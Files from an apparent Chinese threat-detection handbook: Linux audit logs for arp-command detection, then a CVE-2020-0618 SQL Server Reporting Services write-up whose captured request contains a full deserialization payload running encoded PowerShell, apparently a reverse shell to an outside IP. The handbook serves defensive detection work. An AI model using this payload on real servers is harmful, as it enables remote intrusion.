type=PATH msg=audit(1604994496.155:92733): item=0 name="/usr/sbin/arp" inode=13181 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=PATH msg=audit(1604994496.155:92733): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=29514 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=PROCTITLE msg=audit(1604994496.155:92733): proctitle=617270002D61
type=SYSCALL msg=audit(1604994496.155:92734): arch=c000003e syscall=59 success=yes exit=0 a0=558e251634a0 a1=558e25163720 a2=558e25160800 a3=558e2500a010 items=2 ppid=29002 pid=1632 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=104 comm="grep" exe="/bin/grep" key=(null)
type=EXECVE msg=audit(1604994496.155:92734): argc=3 a0="grep" a1="-v" a2="^?"
type=CWD msg=audit(1604994496.155:92734): cwd="/home/wardog"
type=PATH msg=audit(1604994496.155:92734): item=0 name="/bin/grep" inode=61 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=PATH msg=audit(1604994496.155:92734): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=29514 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=PROCTITLE msg=audit(1604994496.155:92734): proctitle=67726570002D76005E3F
```
## 检测规则/思路
检测audit日志中arp命令的使用情况。
```
yml
type=SYSCALL msg=audit(1604994496.155:92733): arch=c000003e syscall=59 success=yes exit=0 a0=558e251634a0 a1=558e25162a50 a2=558e25160800 a3=8 items=2 ppid=29002 pid=1631 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=104 comm="arp" exe="/usr/sbin/arp" key=(null)
type=EXECVE msg=audit(1604994496.155:92733): argc=2 a0="arp" a1="-a"
```
### 建议
监测网络流量,看是否有不寻常的ARP流量,无偿的ARP回复可能是可疑的。
考虑收集各端点ARP缓存的变化,以发现ARP中毒的迹象。例如,如果多个IP地址映射到一个MAC地址,这可能是ARP缓存被投毒的一个指标。
## 参考推荐
MITRE-ATT&CK-T1557-002
<https://attack.mitre.org/techniques/T1557/002>
测试留痕数据来源
<https://github.com/OTRF/Security-Datasets/tree/master/datasets/small/linux>
================================================
FILE: README.md
================================================
# Threat-Analysis-Handbook
## 简介
Threat-Analysis-Handbook目前已覆盖105个TID,332个技术点。主要涵盖Web、Windows AD、Linux,涉及ATT&CK技术、模拟测试、检测思路、检测所需数据源等。
## 规则说明
Web方面检测规则为Suricata、Sigma两种格式,终端检测规则为Sigma格式为主。
## ATTCK矩阵覆盖情况

================================================
FILE: Web/2020/T1190-CVE-2020-0618-SQLserver远程代码执行漏洞.md
================================================
# T1190-CVE-2020-0618-SQL_server远程代码执行漏洞---------
## 来自ATT&CK的描述---------
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。---------
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。---------
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。---------
## 测试案例---------
SQL Server Reporting Services是依托于SQL Server的一个附属组件。其作用是利用SQL Server 中的数据,便捷的生成用户友好的图表。该服务默认是内部服务,默认开放在localhost的80端口。---------
该漏洞需要经过身份验证后,攻击者向SQL Server 的报告服务(Reporting Services) 发送特制请求进行触发。攻击成功可获得SQL Server服务的对应控制权限。---------
影响范围:---------
```
yml
SQL Server 2016 Service Pack 2(GDR) 13.0.5026.0 - 13.0.5101.9 KB4505220
SQL Server 2016 Service Pack 2 CU11 13.0.5149.0 - 13.0.5598.27 KB4527378
SQL Server 2014 Service Pack 3 (GDR) 12.0.6024.0 - 12.0.6108.1 KB4505218
Server 2014 Service Pack 2 CU4 12.0.6205.1 - 12.0.6329.1 KB4500181
SQL Server 2012 Service Pack 4 (QFE) 111.0.7001.0 - 11.0.7462.6 KB4057116---------
```
- --------
## 检测日志---------
HTTP---------
## 测试复现---------
### 利用POC---------
```
yml
POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: X---------
NavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=[PayloadHere]&__VIEWSTATE=---------
```
- --------
## 测试留痕---------
```
yml
POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1
Host: 10.16.45.164:43452
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 4931
Authorization: NTLM TlRMTVNTUAADAAAAGAAYAHIAAADQANAAigAAAAAAAABYAAAAGgAaAFgAAAAAAAAAcgAAABAAEABaAQAANYKK4gYBsR0AAAAPZbeJ4F7Hurhq3KRbofjXh0EAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZNI4oLUbq8WOw+I6xP4TBQEBAAAAAAAAPxs79Pus1gEZGK1/9HV2LQAAAAACAB4AVwBJAE4ALQBBAEkAVQBDAE8AVQBLAEkAUQA1AEEAAQAeAFcASQBOAC0AQQBJAFUAQwBPAFUASwBJAFEANQBBAAQAHgBXAEkATgAtAEEASQBVAEMATwBVAEsASQBRADUAQQADAB4AVwBJAE4ALQBBAEkAVQBDAE8AVQBLAEkAUQA1AEEABwAIAD8bO/T7rNYBBgAEAAIAAAAAAAAAAAAAAPpOCRDGkg49ccL4zPkP3QI=---------
__VIEWSTATE=&NavigationCorrector%24PageState=NeedsCorrection&NavigationCorrector%24ViewState=%2FwEynBwAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAA4govYyBwb3dlcnNoZWxsLmV4ZSAtZW5jb2RlZENvbW1hbmQgSkFCakFHd0FhUUJsQUc0QWRBQWdBRDBBSUFCT0FHVUFkd0F0QUU4QVlnQnFBR1VBWXdCMEFDQUFVd0I1QUhNQWRBQmxBRzBBTGdCT0FHVUFkQUF1QUZNQWJ3QmpBR3NBWlFCMEFITUFMZ0JVQUVNQVVBQkRBR3dBYVFCbEFHNEFkQUFvQUNJQU1RQTNBRElBTGdBeEFEWUFMZ0F4QURBQU1RQXVBREVBTlFBMkFDSUFMQUEwQURVQU5nQTNBQ2tBT3dBa0FITUFkQUJ5QUdVQVlRQnRBQ0FBUFFBZ0FDUUFZd0JzQUdrQVpRQnVBSFFBTGdCSEFHVUFkQUJUQUhRQWNnQmxBR0VBYlFBb0FDa0FPd0JiQUdJQWVRQjBBR1VBV3dCZEFGMEFKQUJpQUhrQWRBQmxBSE1BSUFBOUFDQUFNQUF1QUM0QU5nQTFBRFVBTXdBMUFId0FKUUI3QURBQWZRQTdBSGNBYUFCcEFHd0FaUUFvQUNnQUpBQnBBQ0FBUFFBZ0FDUUFjd0IwQUhJQVpRQmhBRzBBTGdCU0FHVUFZUUJrQUNnQUpBQmlBSGtBZEFCbEFITUFMQUFnQURBQUxBQWdBQ1FBWWdCNUFIUUFaUUJ6QUM0QVRBQmxBRzRBWndCMEFHZ0FLUUFwQUNBQUxRQnVBR1VBSUFBd0FDa0Fld0E3QUNRQVpBQmhBSFFBWVFBZ0FEMEFJQUFvQUU0QVpRQjNBQzBBVHdCaUFHb0FaUUJqQUhRQUlBQXRBRlFBZVFCd0FHVUFUZ0JoQUcwQVpRQWdBRk1BZVFCekFIUUFaUUJ0QUM0QVZBQmxBSGdBZEFBdUFFRUFVd0JEQUVrQVNRQkZBRzRBWXdCdkFHUUFhUUJ1QUdjQUtRQXVBRWNBWlFCMEFGTUFkQUJ5QUdrQWJnQm5BQ2dBSkFCaUFIa0FkQUJsQUhNQUxBQXdBQ3dBSUFBa0FHa0FLUUE3QUNRQWN3QmxBRzRBWkFCaUFHRUFZd0JyQUNBQVBRQWdBQ2dBYVFCbEFIZ0FJQUFrQUdRQVlRQjBBR0VBSUFBeUFENEFKZ0F4QUNBQWZBQWdBRThBZFFCMEFDMEFVd0IwQUhJQWFRQnVBR2NBSUFBcEFEc0FKQUJ6QUdVQWJnQmtBR0lBWVFCakFHc0FNZ0FnQUNBQVBRQWtBSE1BWlFCdUFHUUFZZ0JoQUdNQWF3QWdBQ3NBSUFBaUFGQUFVd0FnQUNJQUlBQXJBQ0FBS0FCd0FIY0FaQUFwQUM0QVVBQmhBSFFBYUFBZ0FDc0FJQUFpQUQ0QUlBQWlBRHNBSkFCekFHVUFiZ0JrQUdJQWVRQjBBR1VBSUFBOUFDQUFLQUJiQUhRQVpRQjRBSFFBTGdCbEFHNEFZd0J2QUdRQWFRQnVBR2NBWFFBNkFEb0FRUUJUQUVNQVNRQkpBQ2tBTGdCSEFHVUFkQUJDQUhrQWRBQmxBSE1BS0FBa0FITUFaUUJ1QUdRQVlnQmhBR01BYXdBeUFDa0FPd0FrQUhNQWRBQnlBR1VBWVFCdEFDNEFWd0J5QUdrQWRBQmxBQ2dBSkFCekFHVUFiZ0JrQUdJQWVRQjBBR1VBTEFBd0FDd0FKQUJ6QUdVQWJnQmtBR0lBZVFCMEFHVUFMZ0JNQUdVQWJnQm5BSFFBYUFBcEFEc0FKQUJ6QUhRQWNnQmxBR0VBYlFBdUFFWUFiQUIxQUhNQWFBQW9BQ2tBZlFBN0FDUUFZd0JzQUdrQVpRQnVBSFFBTGdCREFHd0Fid0J6QUdVQUtBQXBBQT09BgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA%2BU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs%3DHTTP/1.1 200 OK
Cache-Control: private
Content-Length: 21744
Content-Type: text/html; charset=utf-8
Server: Microsoft-HTTPAPI/2.0
X-AspNet-Version: 4.0.30319
X-Content-Type-Options: nosniff
Date: Wed, 28 Oct 2020 07:28:38 GMT---------
<!DOCTYPE html>---------
<html>
<head id="headID" lang="zh-CN">
<meta charset="utf-8">---------
<META HTTP-EQUIV="X-UA-Compatible" CONTENT="IE=edge">
<title>
- ...............
</title><link href="/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&Version=13.0.1601.5&Name=Microsoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.Html5Toolbar.css" rel="stylesheet" type="text/css" /><link href="/ReportServer/Reserved.ReportServer?rs:command=StyleSheet&Name=&Version=2015.130.1601.05" rel="stylesheet" type="text/css" /><link href="/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&Version=13.0.1601.5&Name=Microsoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.jqueryui.min.css" rel="stylesheet" type="text/css" /><link href="/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&Version=13.0.1601.5&Name=Microsoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.Html5Renderer.css" rel="stylesheet" type="text/css" /><script language="Javascript" type="text/Javascript" src="/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&Version=13.0.1601.5&Name=Microsoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.jquery.min.js"></script><script language="Javascript" type="text/Javascript" src="/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&Version=13.0.1601.5&Name=Microsoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.jqueryui.min.js"></script><script language="Javascript" type="text/Javascript" src="/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&Version=13.0.1601.5&Name=Microsoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.knockoutjs.js"></script><script language="Javascript" type="text/Javascript" src="/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&Version=13.0.1601.5&Name=Microsoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.Html5Renderer.js"></script><script language="Javascript" type="text/Javascript" src="/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&Version=13.0.1601.5&Name=Microsoft.Reporting.WebForms.Scripts.RSTelemetry.js"></script><script type="text/javascript">---------
var RS;
var RSTelemetry;---------
if (RS && RS.Telemetry) {
try {
RSTelemetry = new RS.Telemetry({"Build":"13.0.1601.5","Host":"ReportingServicesWebServer","HashedInstanceId":"5C5FFF2BBFEF6D664EAD5BF70842D094353A8832B3179992C5EC4DDE2184CABF","HashedUserId":"C84D026B4E5BB8F628490233444855EAD9537B0524EBE4BDD0243123612BE5AA","ExternalUser":"True","Edition":"Enterprise"}, "/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&Version=13.0.1601.5&Name=Microsoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.application-insights.js");
RSTelemetry.trackPageView({ url: "ReportViewer.aspx" });
} catch (exception) {
}
}
</script><script type="text/javascript">
var RSTelemetry;---------
if (RSTelemetry) {
RSTelemetry.trackEvent("RS.ReportViewer.Render", {"TargetingHtml40":"False","ItemPath":"8A5EDAB282632443219E051E4ADE2D1D5BBC671C781051BF1437897CBDFEA0F1","UserAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)"});
}
</script></head>
<body style="margin: 0px; overflow: auto">
<form method="post" action="./ReportViewer.aspx" id="ReportViewerForm" style="width:100%;height:100%">
<div class="aspNetHidden">
<input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value="" />
<input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT" value="" />
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTE0NjY0NTA2NjMPZBYGZg8WAh4EVGV4dAUQPCFET0NUWVBFIGh0bWw+CmQCAg8WAh4EbGFuZwUFemgtQ04WAgIBDxYCHwAFOAoJPE1FVEEgSFRUUC1FUVVJVj0iWC1VQS1Db21wYXRpYmxlIiBDT05URU5UPSJJRT1lZGdlIj4KZAIED2QWBAIED2QWBAIBDxYCHgVWYWx1ZWRkAgMPZBYCZg9kFgJmDxYCHwJkZAIFDxQrAAVkKClYU3lzdGVtLkd1aWQsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OSQzY2FkYjE3NS1iZWRiLTQwYWItODBjMy0yZmRlNTUyN2RjZGQCARQrAAEUKwAEZhQrAAJkAgFkZGQWAgIBD2QWAmYPZBYCZg9kFgwCAQ8PFgIeB1Zpc2libGVoZGQCAg9kFgICAg8WAh8CBQVmYWxzZWQCAw8PFgIfA2hkZAIFD2QWAgICDxYCHwIFBWZhbHNlZAIGD2QWAmYPZBYCZg9kFgRmDw9kFgIeBXN0eWxlBRB2aXNpYmlsaXR5Om5vbmU7ZAIDD2QWBAIBDxYCHgdFbmFibGVkaGQCBA8WAh8CBQMxMDBkAgoPZBYCAgEPFgIfAgUFRmFsc2VkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBSNSZXBvcnRWaWV3ZXJDb250cm9sJFRvZ2dsZVBhcmFtJGltZwUdUmVwb3J0Vmlld2VyQ29udHJvbCRjdGwwNyRpbWf0vpO0oY4wb+zjEX8982bcJ0/OsD0dzgB1cDESwU5y3w==" />
</div>---------
<script type="text/javascript">
//<![CDATA[
var theForm = document.forms['ReportViewerForm'];
if (!theForm) {
theForm = document.ReportViewerForm;
}
function __doPostBack(eventTarget, eventArgument) {
if (!theForm.onsubmit || (theForm.onsubmit() != false)) {
theForm.__EVENTTARGET.value = eventTarget;
theForm.__EVENTARGUMENT.value = eventArgument;
theForm.submit();
}
}
//]]>
</script>-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
<script src="/ReportServer/WebResource.axd?d=Ov5TcDlIR4L3uboQTuCmOyzxZlFI87EVwA8MTt0A8wTF67-wLOBXf-8BRssABM-acy292vdKTSgkV9AebwBl1lMooRPgDOJ7xMleOnFfqS41&t=636043007952281841" type="text/javascript"></script>-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
<script src="/ReportServer/ScriptResource.axd?d=I-YMT-mFNzdk-lCC39WuU9DeqZWRtuKQhzp4BRmLR47qjd2cjJtu59tIr0QetErd6BK3J4s-w9e0_iHIIKtjQ7HyYZ5JPJhvyDPNiWa_ojbiQhLerZKO6_eaob_GIbUcv2hSZtJVQ8hws-pLFl1qo6yuo2K0k6_p6haC3fYd84zBeXNAeLHulYhWjz230GnN0&t=ffffffffc7ae6e38" type="text/javascript"></script>
<script src="/ReportServer/ScriptResource.axd?d=-Cdg2drN8Wy0xDKU0zwdQbsz0D8_dUbhvptrtPeLypB8J2b1rs47vWm0XPULZy1WnoFJ8h2SYnx5hySyh_w8BXo1ye0Ebu86eSnEcuuY3ZRnFhwIRGIxSZR0In84SuPhbW6_Ai6pvfl8zKkPNoFEsI2gIBfE9jB4NW4u58FyHv1ABwh8yUZX38IAAqNX3n3t0&t=ffffffffc7ae6e38" type="text/javascript"></script>
<script src="/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&Version=13.0.1601.5&Name=ViewerScript" type="text/javascript"></script>
<script src="/ReportServer/ScriptResource.axd?d=ILslaHEYwalu15zdv7Bw8t2xYgV30NzsfTAa0lR6jzGvfbtZy1Z_ffLoGlxI9bthCmRSJMegwrsYaUzHJbhlmlPLLuKr-v-MIHrzz9nSzIXUB0R_eI8VMcYyFNyZD_Wmr_UuVgS21fFlrBSnhF0IDKBnqgNVzdTxcV-oltrq3u01&t=ffffffffc7ae6e38" type="text/javascript"></script>
<div class="aspNetHidden">---------
<input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="177045DE" />
</div>
<script type="text/javascript">
//<![CDATA[
Sys.WebForms.PageRequestManager._initialize('AjaxScriptManager', 'ReportViewerForm', ['tNavigationCorrector$ctl00','NavigationCorrector_ctl00','fReportViewerControl$ReportViewer','','fReportViewerControl$DocMap','','fReportViewerControl$ctl09$ReportArea',''], ['NavigationCorrector','NavigationCorrector'], ['ReportViewerControl$ctl09$ReportControl$ctl00',''], 0, '');
//]]>
</script>---------
<table cellspacing="0" cellpadding="0" width="100%" height="100%"><tr height="100%"><td width="100%">
<span><span id="ctl01_ctl00" style="display:none;"></span><script>
- -----------------------------------------------------------------
$addHandler(window, 'beforeunload', function() {Sys.WebForms.PageRequestManager.getInstance().abortPostBack();});---------
Sys.WebForms.PageRequestManager.getInstance().add_endRequest(function(sender, args) {
if (args.get_error() !== null) {
var label = $get('ctl01_ctl00');
label.style.display = '';
label.innerText = args.get_error().message;
label.textContent = label.innerText;
}
});---------
Sys.WebForms.PageRequestManager.getInstance().add_beginRequest(function(sender, args) {$get('ctl01_ctl00').style.display = 'none';});---------
</script></span><div id="NavigationCorrector" style="display:none;">
<input type="hidden" name="NavigationCorrector$ScrollPosition" id="NavigationCorrector_ScrollPosition" /><input type="hidden" name="NavigationCorrector$ViewState" id="NavigationCorrector_ViewState" /><input type="hidden" name="NavigationCorrector$PageState" id="NavigationCorrector_PageState" value="NeedsCorrection" /><div id="NavigationCorrector_ctl00">
<input type="hidden" name="NavigationCorrector$NewViewState" id="NavigationCorrector_NewViewState" />
</div>
</div><noscript>
............................................................................................................ <a href="/ReportServer?&rs:Command=Render&rs:Format=HTML5&rc:LinkTarget=_top&rc:Javascript=false&rc:Toolbar=false">......</a>
</noscript><div id="ReportViewerControl_ReportViewer">
<div id="ReportViewerControl" onclick="if ($get('ReportViewerControl_ctl04') != null && $get('ReportViewerControl_ctl04').control != null) $get('ReportViewerControl_ctl04').control.HideActiveDropDown();" onactivate="if ($get('ReportViewerControl_ctl04') != null && $get('ReportViewerControl_ctl04').control != null) $get('ReportViewerControl_ctl04').control.HideActiveDropDown();" style="height:100%;width:100%;">
<div id="ReportViewerControl_HttpHandlerMissingErrorMessage" style="border-color:Red;border-width:2px;border-style:Solid;padding:10px;display:none;overflow:auto;font-size:.85em;">
<h2>
...........................
</h2><p>.................. Web ...... HTTP .................................... web.config ........................ <add verb="*" path="Reserved.ReportViewerWebControl.axd" type = "Microsoft.Reporting.WebForms.HttpHandler, ReportingServicesWebServer, Version=13.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" /> ......... web.config ......... system.web/httpHandlers ............... Internet Information Services 7 ........................ <add name="ReportViewerWebControlHandler" preCondition="integratedMode" verb="*" path="Reserved.ReportViewerWebControl.axd" type="Microsoft.Reporting.WebForms.HttpHandler, ReportingServicesWebServer, Version=13.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" /> ......... system.webServer/handlers .........</p>
</div><span id="ReportViewerControl_ctl03"><input type="hidden" name="ReportViewerControl$ctl03$ctl00" id="ReportViewerControl_ctl03_ctl00" /><input type="hidden" name="ReportViewerControl$ctl03$ctl01" id="ReportViewerControl_ctl03_ctl01" /></span><input type="hidden" name="ReportViewerControl$ctl10" id="ReportViewerControl_ctl10" /><input type="hidden" name="ReportViewerControl$ctl11" id="ReportViewerControl_ctl11" /><div id="ReportViewerControl_AsyncWait" style="background-color:White;opacity:0.7;position:absolute;display:none;filter:alpha(opacity=70);">---------
</div><div id="ReportViewerControl_AsyncWait_Wait" class="WaitControlBackground" style="display:none;position:absolute;">
<table height="100%">
<tr>
<td width="32px" height="32px"><img src="/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&Version=13.0.1601.5&Name=Microsoft.Reporting.WebForms.Icons.SpinningWheel.gif" alt="..............." style="height:32px;width:32px;" /></td><td class="WaitInfoCell"><span class="WaitText">...............</span><div class="CancelLinkDiv">
<a class="CancelLinkText" href="javascript:$get('ReportViewerControl_AsyncWait').control._cancelCurrentPostback();">......</a>
</div></td>
</tr>
</table>
</div><input type="hidden" name="ReportViewerControl$AsyncWait$HiddenCancelField" id="ReportViewerControl_AsyncWait_HiddenCancelField" value="False" /><table cellpadding="0" cellspacing="0" id="ReportViewerControl_fixedTable" style="table-layout:fixed;width:100%;height:100%;">
<tr>
<td style="display:none;width:25%;"></td><td style="display:none;width:6px;"></td><td style="width:100%;"></td>
</tr><tr id="ParametersRowReportViewerControl" style="display:none;">
<td colspan="3"></td>
</tr><tr style="height:6px;font-size:2pt;display:none;">
<td colspan="3" class="SplitterNormal" style="padding:0px;margin:0px;text-align:center;"><div id="ReportViewerControl_ToggleParam">
<input type="image" name="ReportViewerControl$ToggleParam$img" id="ReportViewerControl_ToggleParam_img" title="............" aria-live="polite" src="/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&Version=13.0.1601.5&Name=Microsoft.Reporting.WebForms.Icons.SplitterHorizCollapse.png" alt="............" align="middle" onclick="void(0);" style="cursor:pointer;" /><input type="hidden" name="ReportViewerControl$ToggleParam$store" id="ReportViewerControl_ToggleParam_store" /><input type="hidden" name="ReportViewerControl$ToggleParam$collapse" id="ReportViewerControl_ToggleParam_collapse" value="false" />
</div></td>
</tr><tr style="display:none;">---------
</tr><tr>
<td style="vertical-align:top;width:25%;height:100%;display:none;"><div style="width:100%;height:100%;">
<div id="ReportViewerControl_DocMap">
<div id="ReportViewerControl_ctl08" style="display:none;">
<input type="hidden" name="ReportViewerControl$ctl08$ClientClickedId" id="ReportViewerControl_ctl08_ClientClickedId" />
</div>
</div>
</div></td><td class="SplitterNormal" style="display:none;width:4px;padding:0px;margin:0px;height:100%;vertical-align:middle;"><div id="ReportViewerControl_ctl07">
